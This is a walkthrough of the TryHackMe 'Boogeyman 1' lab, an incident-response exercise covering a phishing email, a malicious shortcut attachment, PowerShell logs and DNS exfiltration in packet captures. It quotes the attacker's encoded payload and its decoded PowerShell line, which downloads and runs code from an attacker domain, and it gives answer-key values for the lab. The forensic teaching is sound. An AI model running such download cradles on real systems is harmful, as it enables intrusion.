# Boogeyman 1-TryHackMe Walkthrough

A new threat actor emerges from the wild using the name Boogeyman. Are you afraid of the Boogeyman?

## **Task 1\[Introduction\]: New threat in town**

*Uncover the secrets of the new emerging threat, the Boogeyman.*

In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.

## **Task 2\[Email Analysis\]: Look at that headers!**

open the mail in thunderbird

> ***What is the email address used to send the phishing email?***

***Ans:*** [***agriffin@bpakcaging.xyz***](mailto:agriffin@bpakcaging.xyz)

> ***What is the email address of the victim?***

***Ans:*** [***julianne.westcott@hotmail.com***](mailto:julianne.westcott@hotmail.com)

> ***What is the name of the third-party mail relay service used by the attacker based on the DKIM-Signature and List-Unsubscribe headers?***

view source

![](https://miro.medium.com/v2/resize:fit:875/1*QIn4stdd3fjRUpAgvMk5AA.png align="center")

***Ans: elasticemail***

> ***What is the name of the file inside the encrypted attachment?***

***Ans: Invoice\_20230103.lnk***

A `.lnk` file, also known as a shortcut file, is a Windows file that provides a reference or shortcut to another file, folder, or program. These files have the `.lnk` When you double-click a `.lnk` file, it opens the file, folder, or application to which it points.

download the file from the mail and open it using the password given

> ***What is the password of the encrypted attachment?***

***Ans: Invoice2023!***

> ***Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?***

LNKParser is a tool used to analyze Windows `.LNK` (shortcut) files

***Ans: aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==***

echo “value” | base64 -decode

decoded data :iex (new-object net.webclient).downloadstring(‘[http://files.bpakcaging.xyz/update](http://files.bpakcaging.xyz/update)')

## **Task 3\[Endpoint Security\]: Are you sure that’s an invoice?**

**Analyzing powershell logs**

> ***What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g.*** [***a.domain.com***](http://a.domain.com)***,***[***b.domain.com***](http://b.domain.com)***)***

cat powershell.json | jq -s -c 'sort\_by(.Timestamp) | .\[\]'| jq '{ScriptBlockText}'| sort | uniq

![](https://cdn.hashnode.com/uploads/covers/6a8bfea2c4d92e5440cafcc6/7ac0d511-284b-4c37-b457-c86073ca3553.png align="center")

This PowerShell is a **simple HTTP-based command-and-control (C2) loop**. It repeatedly contacts a remote server, downloads commands, executes them, and sends the output back.

***Ans:*** [***cdn.bpakcaging.xyz***](http://cdn.bpakcaging.xyz)***,***[***files.bpakcaging.xyz***](http://files.bpakcaging.xyz)

> ***What is the name of the enumeration tool downloaded by the attacker?***

checking the scriptblock we can see a file being downloaded from github

cat powershell.json | jq -s -c 'sort\_by(.Timestamp) | .\[\]'| jq '{ScriptBlockText}'| sort | uniq | grep 'download'

***Ans: seatbelt***

**Seatbelt** is a **Windows security enumeration tool** from SpecterOps, commonly used during **post-exploitation / privilege-escalation assessment**.

It collects information about a Windows host that can reveal **misconfigurations, credentials, privileges, security controls, and potential attack paths**.

> ***What is the file accessed by the attacker using the downloaded sq3.exe binary? Provide the full file path with escaped backslashes.***

cat powershell.json | jq -s -c 'sort\_by(.Timestamp) | .\[\]'| jq '{ScriptBlockText}'| sort | uniq | grep -e 'sq3.exe' -e 'cd'

***Ans:*** C:\\\\Users\\\\j.westcott\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.MicrosoftStickyNotes\_8wekyb3d8bbwe\\\\LocalState\\\\plum.sqlite

> ***What is the software that uses the file in Q3?***

***Ans: Microsoft Sticky Notes***

> ***What is the name of the exfiltrated file?***

![](https://cdn.hashnode.com/uploads/covers/6a8bfea2c4d92e5440cafcc6/ebc7de34-f511-47e0-8d55-013f735bbf25.png align="center")

***Ans: protected\_data.kdbx***

**Credential/data targeting**

The attacker specifically searches for A `.kdbx` file is a **KeePass database**.

> ***What type of file uses the .kdbx file extension?***

***Ans: keepass***

> ***What is the encoding used during the exfiltration attempt of the sensitive file?***

***Ans: hex***

> ***What is the tool used for exfiltration?***

***Ans: nslookup***

PowerShell execution → tool transfer → reconnaissance → sensitive-data discovery → KeePass/Sticky Notes collection → C2 communication → data encoding → DNS exfiltration.

## **Task 4\[Network Traffic Analysis\]: They got us. Call the bank immediately!**

> ***What software is used by the attacker to host its presumed file/payload server?***

[http.host](http://http.host) == [files.bpakcaging.xyz](http://files.bpakcaging.xyz)

right click any packet click follow http stream

***Ans: python***

> ***What HTTP method is used by the C2 for the output of the commands executed by the attacker?***

[http.host](http://http.host) == cdn.bpakcaging.xyz:8080

we see many GET req and have POST req in between checking these post req reveals the url encoded data of the commands executed

***Ans: POST***

> ***What is the protocol used during the exfiltration activity?***

since we know the tool nslookup is used from previous question so the protocol must be dns

***Ans: dns***

> ***What is the password of the exfiltrated file?***

so from the hint we know the name of the database file accessed from previous question, so we use this for searching

![](https://miro.medium.com/v2/resize:fit:875/1*Xl4C1EajXHDyF6Q8jxDQOA.png align="center")

you’ll get a http packet ,as you move down a little you can see a http packet with POST method, we know that this is the method used by c2 server ,this packet has encoded value decode it using cyberchef

***Ans: %p⁹³!lL^Mz47E2GaT^y***

> ***What is the credit card number stored inside the exfiltrated file?***

we already know the protocol involved in exfiltration is dns and the associated domain names we use this as filter

tshark -r capture.pcapng -Y ‘dns’ -T fields -e [dns.qry.name](http://dns.qry.name) | grep “.[bpakcaging.xyz](http://bpakcaging.xyz)” | `cut -f1 -d '.'` | grep -v -e “files” -e “cdn” | uniq | tr -d ‘\\n’ > output.txt

*   `-Y 'dns'`: Filters the packets to only include DNS queries.
    
*   `-T fields`: Specifies that the output should be in field format (not the default text).
    
*   `-e` [`dns.qry.name`](http://dns.qry.name): Extracts the DNS query name field
    
*   *grep “.*[*bpakcaging.xyz*](http://bpakcaging.xyz)*”* :Filters the DNS query names to only include those that contain the string `.`[`bpakcaging.xyz`](http://bpakcaging.xyz).
    
*   `cut -f1 -d '.'`: Cuts or extracts the first field from each line, where fields are separated by a period (`.`). This would typically extract the subdomain or first part of the domain name.
    
*   `grep -v -e "files" -e "cdn"`:Filters out any lines containing the words `files` or `cdn`. The `-v` option in `grep` inverts the match, so it excludes lines with these patterns.
    
*   `uniq`: Removes duplicate lines, ensuring that only unique values remain.
    
*   `tr -d '\n'`: Removes any newline characters from the remaining output, making the result a single continuous string.
    
*   `> output.txt`: Redirects the final output to the file `output.txt`
    

![](https://miro.medium.com/v2/resize:fit:875/1*HKtzWviHSqsOhvIp_JdDlw.png align="center")

second line shows how data is exfiltrated, sliced and converted to hex and made to look like subdomains

output.txt file copy and paste into cyberchef use from hex and save the output as secret.kdbx now open the file with the master password we have from the previous question.

we know that a .kdbx file was extracted so we are just recreating the file from the data that is sent via dns queries.

conversion can also done via cmd line

cat output.txt | xxd -r -p > secret.kdbx

`xxd` can be used to convert a hex dump back into its raw binary form

`-r` means "reverse operation" (convert from hex to binary).

`-p` tells `xxd` to treat the input as plain hex without formatting.

***Ans: 4024007128269551***

**THANK YOU FOR READING!!! ❤️💫**